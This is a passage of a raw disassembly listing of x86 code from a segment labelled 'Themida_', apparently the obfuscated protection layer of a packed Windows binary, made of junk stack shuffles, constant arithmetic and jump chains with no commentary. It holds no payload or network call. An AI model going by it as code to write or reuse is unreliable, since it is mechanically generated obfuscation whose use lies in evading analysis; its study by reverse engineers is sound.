ecx, 17CD4256h xor edi, ecx pop ecx push edi push ebp mov ebp, 124E2919h xor [esp+4], ebp pop ebp jmp loc_56A63D ; --------------------------------------------------------------------------- loc_56C0D3: ; CODE XREF: Themida_:005667BCj pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi jmp loc_5641E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C101: ; CODE XREF: sub_56755A+561Ej pop ebp sub ebx, 0FBB50DD6h sub eax, ebx jmp loc_56216C ; --------------------------------------------------------------------------- loc_56C10F: ; CODE XREF: sub_56755A+C8Cj push cx pushf jmp loc_570663 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_56C117: ; CODE XREF: sub_5643BC+9746j xor edi, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp sub_564603 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C122: ; CODE XREF: sub_56755A-46C8j mov [esp+10h+var_10], ebx push ebp mov ebp, 53BE148Ch mov ebx, 186E11B6h add ebx, ebp jmp loc_56595D ; --------------------------------------------------------------------------- loc_56C137: ; CODE XREF: sub_56755A+384Ej sub [esp+12h+var_14+2], 7B242592h pop edi add edi, 7B242592h jmp loc_56FE5F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_56C14A: ; CODE XREF: sub_56542E+8407j mov esi, [esp+4+var_4] push eax jmp loc_56EF58 ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- loc_56C153: ; CODE XREF: Themida_:0056916Cj add ebp, 4 push edi jmp loc_56DDAE ; --------------------------------------------------------------------------- loc_56C15F: ; CODE XREF: Themida_:0056BAB8j mov ebx, [esp] add esp, 4 push edi not dword ptr [esp] pop edi push eax mov eax, 7CC8267Ah jmp loc_56E806 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C175: ; CODE XREF: sub_56755A+4077j mov [esp-4+arg_0], eax push [esp-4+arg_4] pop eax pop [esp-4+arg_0] jmp loc_56CA22 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C185: ; CODE XREF: Themida_:0055D511j push ebx push 4629h mov [esp], edx mov dh, 24h sub dh, 31h push ebx mov bl, 8 and bl, 1Ch sub bl, 7Dh jmp loc_564DDF ; --------------------------------------------------------------------------- loc_56C1A1: ; CODE XREF: Themida_:005664CCj add al, 0DBh add al, dl sub al, 0DBh jmp loc_55E3A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_56C1AC: ; CODE XREF: sub_5673DF+9j add esp, 4 jmp loc_55E7CE ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- loc_56C1B4: ; CODE XREF: Themida_:0056B01Cj push 46D0h mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 6FB74DEEh sub dword ptr [esp+4], 158F6BC8h sub [esp+4], esi add dword ptr [esp+4], 158F6BC8h pop esi pop edx add edx, 6FB74DEEh mov ebp, [esp] jmp loc_56E132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C1EB: ; CODE XREF: sub_56755A-394Aj xor eax, ecx sub esp, 4 mov [esp+10h+var_10], eax push 6C80h mov [esp+14h+var_14], ebx push [esp+14h+var_14] pop eax sub esp, 4 mov [esp+18h+var_18], esi mov esi, esp jmp loc_56BBFE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C20C: ; CODE XREF: Themida_:00561B09j add esi, eax pop eax push ebx mov ebx, 2 add esi, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_56E9EB ; --------------------------------------------------------------------------- loc_56C228: ; CODE XREF: Themida_:0056A282j add esp, 4 jmp loc_57075E ; --------------------------------------------------------------------------- loc_56C230: ; CODE XREF: Themida_:00569528j add ecx, 4 jmp loc_560495 ; --------------------------------------------------------------------------- loc_56C238: ; CODE XREF: Themida_:0056A8CCj pop ebp push eax mov eax, 3B427B31h and esi, eax pop eax xor esi, 4419172Bh push ecx mov ecx, 727833A0h and esi, ecx pop ecx sub esi, 5258221Ch sub esp, 4 mov [esp], esi mov esi, 74FA6CA3h sub edi, esi mov esi, [esp] add esp, 4 sub edi, esi add edi, 74FA6CA3h pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], eax jmp loc_56A897 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C293: ; CODE XREF: sub_56755A+2443j pop eax inc ebx dec ebx jmp loc_56363B ; --------------------------------------------------------------------------- loc_56C29B: ; CODE XREF: sub_56755A+83B3j pop edx sub eax, 8F369F50h sub ebp, eax pop eax xor esi, ebp pop ebp inc esi push ebp mov ebp, 0FFFFFFFFh sub esi, 1B8759F5h sub esi, ebp add esi, 1B8759F5h pop ebp jmp loc_5606DC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C2C2: ; CODE XREF: Themida_:0056A31Cj add edi, 4 sub esp, 4 mov [esp], eax mov eax, 48A23B02h jmp loc_55F1A1 ; --------------------------------------------------------------------------- loc_56C2DB: ; CODE XREF: Themida_:0056F0DCj sub ebx, eax sub ebx, 422E66BBh jmp loc_56A341 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C2E8: ; CODE XREF: sub_56755A+236Fj mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edx jmp loc_566EEF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C2FE: ; CODE XREF: Themida_:00569C87j pop ebx xor ebx, eax pop eax mov ecx, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_561BD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56C315: ; CODE XREF: sub_56E89A-11687j add esi, ecx push ebp mov ebp, 490754E7h add esi, ebp jmp loc_5659E2 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56C324: ; CODE XREF: Themida_:00569EDBj push edx push 282C1DFCh mov edx, [esp] add esp, 4 push 639Eh mov [esp], esi mov esi, 5CC32D3Ah xchg edi, esi sub edi, 1 xchg edi, esi not esi sub esi, 1 or esi, 4C1E4914h xor esi, 44CC7112h sub edx, esi mov esi, [esp] add esp, 4 xor ebx, edx mov edx, [esp] push 16AFh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 578h mov [esp], eax mov eax, 12AD345Dh neg eax shl eax, 7 push edx mov edx, 25D951EDh add eax, edx pop edx and eax, 59091ECCh push edi mov edi, 65970686h push edx mov edx, 451759E5h jmp loc_568794 ; --------------------------------------------------------------------------- loc_56C3B3: ; CODE XREF: Themida_:0056942Cj push 7095h mov [esp], esp push ebp mov ebp, 4 sub dword ptr [esp+4], 205B3422h add [esp+4], ebp sub esp, 4 mov [esp], esi push ebx push 171770A8h pop ebx push ebp jmp loc_5624AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C3E3: ; CODE XREF: sub_56755A-2C9Aj pop ebp jmp loc_561CA7 ; --------------------------------------------------------------------------- loc_56C3E9: ; CODE XREF: sub_56755A-BF79j add esp, 4 jmp loc_55CBF0 ; --------------------------------------------------------------------------- loc_56C3F1: ; CODE XREF: sub_56755A+D88j pop eax pop [esp+18h+var_18] pop esp xor ebx, eax push dword ptr [eax] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56C3FF: ; CODE XREF: sub_56755A-9A01j add ecx, 3AE052F4h sub ecx, edx sub ecx, 3AE052F4h pop edx push 2E15h mov [esp+2Ch+var_2C], ebx mov ebx, 5C2C4E9Ah sub ebx, 986D6C96h xor ecx, ebx push [esp+2Ch+var_2C] pop ebx add esp, 4 push edx mov edx, ecx mov esi, edx mov edx, [esp+2Ch+var_2C] add esp, 4 push [esp+28h+var_28] pop ecx jmp loc_56F9E1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C441: ; CODE XREF: Themida_:0055E5B8j add eax, ebx add eax, 73C919E8h sub eax, 631C094Eh push edi mov edi, 693F3618h shl edi, 6 sub esp, 4 mov [esp], edi not dword ptr [esp] mov edi, [esp] add esp, 4 sub edi, 40671EA8h jmp loc_55CA68 ; --------------------------------------------------------------------------- loc_56C473: ; CODE XREF: Themida_:005673DAj neg esi sub esi, 0C6C9C4D9h sub edx, esi mov esi, [esp] jmp loc_56710B ; --------------------------------------------------------------------------- loc_56C485: ; CODE XREF: Themida_:0056A77Bj add esp, 4 pop dword ptr [esp] pop esp push 2C81h mov [esp], ebx push 7FE9h mov [esp], ebp push ebx mov ebx, 499202E8h and ebx, 18E4E63h push esi mov esi, 6AE1155Fh add esi, 57EB36F5h push edx mov edx, 6340547Ch sub edx, 422F1FC6h not edx and edx, 6E7B28F9h sub edx, 2B4DFE90h and esi, edx jmp loc_569B34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C4D8: ; CODE XREF: sub_56755A+8C09j add eax, 4 add eax, 4 xchg eax, [esp+28h+var_28] pop esp jmp loc_563F00 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569496 loc_56C4E9: ; CODE XREF: sub_569496+2AE5j neg cl jmp sub_562C5D ; END OF FUNCTION CHUNK FOR sub_569496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C4F0: ; CODE XREF: sub_56755A+4FA9j pop ebx mov esi, edi push [esp+20h+var_20] jmp loc_564D7D ; --------------------------------------------------------------------------- loc_56C4FB: ; CODE XREF: sub_56755A-3733j add ebx, 0A9B7C835h xor edi, ebx jmp loc_56C4F0 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56C508 proc near ; CODE XREF: sub_56C024+1B6Aj push ebx jmp loc_5675C0 sub_56C508 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C50E: ; CODE XREF: sub_56755A+58Dj xchg edi, [esp+8+var_8] jmp loc_56977A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C516: ; CODE XREF: Themida_:00566BA3j mov ebx, [esp] add esp, 4 push 4C18h jmp loc_56422D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_56C526: ; CODE XREF: sub_55DA88+12201j shr eax, 2 add eax, 1054DA44h mov ebx, eax pop eax sub eax, ebx jmp loc_5646D0 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C538: ; CODE XREF: sub_56755A-5501j add edi, 242799EBh and eax, edi pop edi push edx jmp loc_56D1AF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_56C547: ; CODE XREF: sub_5636A9+1j push eax jmp loc_568E63 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- loc_56C54D: ; CODE XREF: Themida_:0056B83Cj push ecx mov ecx, 66197501h xor ecx, 66197505h add dword ptr [esp+4], 773C0AEDh add [esp+4], ecx sub dword ptr [esp+4], 773C0AEDh pop ecx mov eax, [esp] add esp, 4 add eax, 4 jmp loc_55E0DB ; --------------------------------------------------------------------------- loc_56C581: ; CODE XREF: Themida_:0055C85Fj shl ecx, 5 inc ecx jmp loc_567299 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C58A: ; CODE XREF: sub_56755A-6CC3j mov esp, [esp+1Ah+var_1C+2] imul cl movzx cx, ah jmp loc_567261 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ebx push ecx mov ecx, 0FB9038Bh dec ecx and ecx, 6518219Fh shr ecx, 4 xor ecx, 51E46520h push 7183h mov [esp], ebx mov ebx, 30D70C46h xor ecx, ebx pop ebx push ebx mov ebx, 603A6EB8h shl ebx, 2 not ebx sub esp, 4 mov [esp], edx mov edx, 5F84F3Ah shl edx, 7 jmp loc_56B74E ; --------------------------------------------------------------------------- loc_56C5E8: ; CODE XREF: Themida_:005654B4j push esp push dword ptr [esp] jmp loc_55F91F ; --------------------------------------------------------------------------- loc_56C5F1: ; CODE XREF: Themida_:00570336j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_56896B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C602: ; CODE XREF: sub_56755A+7FC2j shr ecx, 6 push esi mov esi, 3C6F2C4Bh not esi add esi, 63B93A26h or esi, 33131C3h sub esi, 0F9544B3h add ecx, esi pop esi jmp loc_564900 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C627: ; CODE XREF: Themida_:0056F319j dec ecx push ebp mov ebp, 6B8F1DA6h jmp loc_56341C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C633: ; CODE XREF: sub_56755A+8D4Bj sub ecx, ebp mov ebp, [esp+1Ah+var_1C+2] add esp, 4 jmp loc_563C6E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_56C643: ; CODE XREF: sub_56B774+205Dj pop ecx sub esi, eax pop eax jmp loc_566E3C ; END OF FUNCTION CHUNK FOR sub_56B774 ; =============== S U B R O U T I N E ======================================= sub_56C64C proc near ; CODE XREF: sub_560C97+DD0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BAB8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056D0A7 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edx mov dh, 0D4h sub dh, 9Ah jmp loc_56D0A7 sub_56C64C endp ; --------------------------------------------------------------------------- loc_56C65F: ; CODE XREF: Themida_:0055F45Fj xchg ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 74B85F90h jmp loc_56F07D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_56C672: ; CODE XREF: sub_56B5E8+8j mov eax, 487C079Ah and edi, eax pop eax xchg ecx, edi jmp loc_55FF03 ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- loc_56C681: ; CODE XREF: Themida_:0056F233j push esi mov esi, 4 add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp jmp loc_56AF5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C695: ; CODE XREF: sub_56755A+3C6Cj sub edx, 965075Ch mov ebx, [esp+0Eh+var_10+2] add esp, 4 push esi mov esi, 2 jmp loc_570168 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56C6AF: ; CODE XREF: sub_56E89A-B55Bj push eax mov eax, 0E8D9C2E2h sub edx, 1D924EDBh add edx, eax jmp loc_562D9F ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C6C2: ; CODE XREF: sub_56755A+44D0j mov [esp+4+var_4], ebx push ecx push 16C1h mov [esp+0Ch+var_C], edi mov edi, 71090D58h mov ecx, edi jmp loc_56FD63 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C6DA: ; CODE XREF: Themida_:0055D301j sub eax, 21D214F8h jmp loc_56FEF9 ; --------------------------------------------------------------------------- loc_56C6E4: ; CODE XREF: Themida_:005614EDj pop ebp push 448Bh mov [esp], esi push edx mov edx, 77C30AD5h mov esi, 119A0A09h xor esi, edx pop edx sub esi, 96FC1583h sub ebp, 5AC04FAEh add ebp, esi push eax mov eax, 5AC04FAEh jmp loc_560923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA40 loc_56C714: ; CODE XREF: sub_56AA40+35A6j push edi mov edi, 24h mov ebx, edi pop edi push ecx mov ecx, 30C86E6Dh sub ecx, 1F283619h add ebx, 7AA02C6Eh add ebx, ecx jmp loc_56411B ; END OF FUNCTION CHUNK FOR sub_56AA40 ; --------------------------------------------------------------------------- loc_56C736: ; CODE XREF: Themida_:005648F1j pop ecx push ebx jmp loc_5681FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_56C73D: ; CODE XREF: sub_568470+FD5j add [esp-24h+arg_24], esi push ebp jmp loc_568CF5 ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56C747: ; CODE XREF: sub_56F653-F457j mov bh, 30h jmp loc_5693A5 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C74E: ; CODE XREF: sub_56755A+1664j pop esi pop esi push 304Dh mov [esp+1Ch+var_1C], ebx push 1A691A8Bh pop ebx jmp loc_560313 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE26 loc_56C763: ; CODE XREF: sub_56EE26-4DC7j mov esi, 4 add ebp, esi pop esi xchg ebp, [esp+0] pop esp xchg edi, [esp+0] mov esp, [esp+0] mov [esp-0Ch+arg_4], edx push eax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56EE26 ; --------------------------------------------------------------------------- loc_56C77F: ; CODE XREF: Themida_:0056D84Cj mov [esp], ebp push dword ptr [esp+4] jmp loc_565986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561D98 loc_56C78B: ; CODE XREF: sub_561D98+25B9j push dword ptr [esp+0] pop ebx add esp, 4 add esp, 4 jmp loc_564F97 ; END OF FUNCTION CHUNK FOR sub_561D98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C79D: ; CODE XREF: sub_56755A-437Dj mov [esp+2Ch+var_2C], ebx mov ebx, 34B16292h add eax, 64B97A09h sub eax, ebx sub eax, 64B97A09h jmp loc_5606B6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C7B6: ; CODE XREF: Themida_:00566077j pop eax pop dword ptr [esp] jmp loc_55E221 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_56C7BF: ; CODE XREF: sub_56CEC8+1E3Ej or cl, 56h push eax push 692Dh mov [esp+10h+var_10], edx mov dh, 3Ah mov al, dh push [esp+10h+var_10] mov edx, [esp+14h+var_14] add esp, 4 add esp, 4 sub al, 8Ah sub cl, al pop eax jmp loc_568A38 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_56C7E5: ; CODE XREF: Themida_:0055F838j inc ecx xor ecx, 79824A9Bh sub eax, ecx mov ecx, [esp] push ebp jmp loc_569171 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C7F7: ; CODE XREF: sub_56755A-A8FCj not byte ptr [esp+14h+var_14] jmp loc_560218 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56C7FF: ; CODE XREF: sub_56971C-DF95j push edi mov edi, 161E001Eh jmp loc_563E32 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56C80A: ; CODE XREF: sub_55D71E+8E9Ej push edx jmp loc_55F517 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C810: ; CODE XREF: sub_56755A-10B7j mov esp, [esp+16h+var_18+2] push edx jmp sub_560C97 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C819: ; CODE XREF: Themida_:00561BD4j push eax push esp jmp loc_567D28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C820: ; CODE XREF: sub_56755A+6CFBj push [esp+1Ah+var_1C+2] jmp loc_562A65 ; --------------------------------------------------------------------------- loc_56C828: ; CODE XREF: sub_56755A-888Bj pop ebx xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] pop esp shr ecx, 0Ah jmp sub_56CEE9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C83B: ; CODE XREF: Themida_:00569026j pop ecx xchg edi, [esp] pop esp jmp loc_5613BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56C845: ; CODE XREF: sub_56CB7D-9C4Bj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+1Ch+var_1C] jmp loc_55BCD8 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_56C859: ; CODE XREF: Themida_:0056A3F0j push 766h mov [esp], eax push dword ptr [esp+4] jmp loc_55C438 ; =============== S U B R O U T I N E ======================================= sub_56C86A proc near ; CODE XREF: sub_561D1D+12j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0055B5FD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055BD08 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055BD81 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055F4C1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005618C1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056655C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056909B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056EA4D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056EC21 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005700B7 SIZE 00000024 BYTES sub esp, 4 mov [esp+4+var_4], eax mov ah, 0Ch shr ah, 6 neg ah dec ah add ah, 2Fh sub bl, 0E2h jmp loc_56909B sub_56C86A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C884: ; CODE XREF: sub_56755A+6F53j or ecx, 0D9716F2h sub ecx, 86B3D5DDh add esi, ecx pop ecx add ecx, esi jmp loc_5661F5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C89A: ; CODE XREF: Themida_:0056CCA4j sub ecx, edx pop edx add edx, 6B315B09h add edx, ecx push ebp jmp loc_55D6F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_56C8AB: ; CODE XREF: sub_55C719+3231j push esi jmp loc_566F1E ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_56C8B1: ; CODE XREF: Themida_:00563B48j pop esi add esi, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 push edx mov edx, 2F6D1B3Bh jmp loc_55CD4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C8CE: ; CODE XREF: sub_56755A-5396j pop ebx jmp loc_56824B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C8D4: ; CODE XREF: Themida_:0056B959j mov esp, [esp] xor [esp], ax pushf jmp loc_5625D7 ; --------------------------------------------------------------------------- loc_56C8E1: ; CODE XREF: Themida_:005604C3j pop edx sub esi, 4 push esi mov esi, esp push edx mov edx, 6872C56h shr edx, 8 and edx, 8FA6354h sub edx, 20300h jmp loc_56FF79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C905: ; CODE XREF: sub_56755A-61CFj pop ecx push [esp-0Ch+arg_8] mov edx, [esp-8+arg_4] jmp loc_561486 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5672A7 loc_56C911: ; CODE XREF: sub_5672A7+5A39j pop esp mov [esp+0], ebp mov ebp, 572362DAh sub ebp, 572362DAh jmp loc_56800B ; END OF FUNCTION CHUNK FOR sub_5672A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C925: ; CODE XREF: sub_56755A-EEEj mov ebx, [esp+8+var_8] add esp, 4 add esp, 4 push 3725h mov [esp+4+var_4], esi mov esi, esp sub esp, 4 mov [esp+8+var_8], edx push 31E43BEDh pop edx jmp loc_5633D1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_56C94F: ; CODE XREF: sub_562C5D-4151j mov bh, al pop ax jmp loc_55E671 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56C958: ; CODE XREF: sub_55CD7B+67D4j add edi, 0C6021357h add edx, edi pop edi push edx jmp loc_5635CD ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_56C967: ; CODE XREF: Themida_:0056ADD5j add esp, 4 add esp, 4 jmp loc_565234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C975: ; CODE XREF: sub_56755A+8896j push esi push [esp+0Ch+var_8] mov esi, [esp+10h+var_10] add esp, 4 jmp loc_55E9DB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56C985: ; CODE XREF: sub_56E89A+1493j add esp, 4 add ebp, 4 jmp loc_56B6A7 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56C996: ; CODE XREF: Themida_:00565EC7j sub edx, 0B94EC7E4h mov ecx, edx pop edx sub ecx, 1 push 63E6h mov [esp], ecx jmp loc_56D452 ; --------------------------------------------------------------------------- loc_56C9AF: ; CODE XREF: Themida_:005704AEj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55FA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C9C3: ; CODE XREF: sub_56755A-B127j pop bx or bl, 9Ch sub bl, 29h or cl, bl mov ebx, [esp+10h+var_10] add esp, 4 push cx neg byte ptr [esp+0Eh+var_10+2] jmp loc_56B6A0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_56C9E0: ; CODE XREF: sub_560B67-1CCj add esp, 4 push 33B1h mov [esp+4+var_4], eax mov eax, esp push edx mov edx, 5D8E05F2h jmp loc_564E50 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C9FB: ; CODE XREF: sub_56755A-213j xor bl, al movzx eax, al push dword ptr [edi+eax*4] push 1C1Bh mov [esp+1Ah+var_1C+2], ecx push edi push 7411734h pop edi mov ecx, edi jmp loc_56F65D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56CA19: ; CODE XREF: Themida_:0055D0DFj mov [esp], eax push esp jmp loc_56DC85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56CA22: ; CODE XREF: sub_56755A+4C26j pop esp push esp jmp loc_560548 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56CA29: ; CODE XREF: sub_561ED8+D58Bj sub [esp+0], dl mov dl, [esp+0] jmp loc_5650EB ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_56CA34: ; CODE XREF: Themida_:0055E1A7j mov ecx, [esp] add esp, 4 push esi jmp loc_56F41C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_56CA40: ; CODE XREF: sub_562F62-69D6j push 331B3ECAh pop edi sub edi, 0CBD1120h sub edi, 0DCF112F0h mov ecx, edi pop edi inc ecx shr ecx, 6 dec ecx or ecx, 72845581h shr ecx, 8 add ecx, 1C5E764Fh add edx, ecx pop ecx jmp loc_55BBDB ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56CA71: ; CODE XREF: sub_5615A9+EF9Cj mov cl, 18h add al, cl pop cx sub al, 0FBh mov dx, [esp+0] add esp, 2 push edx mov dl, 1Bh and dl, 0DBh not dl xor dl, 6Ch jmp loc_55C14A ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_56CA90: ; CODE XREF: Themida_:0055C40Dj pop eax push 3BDh mov [esp], ebp pop edi mov ebp, [esp] add esp, 4 sub eax, edi push dword ptr 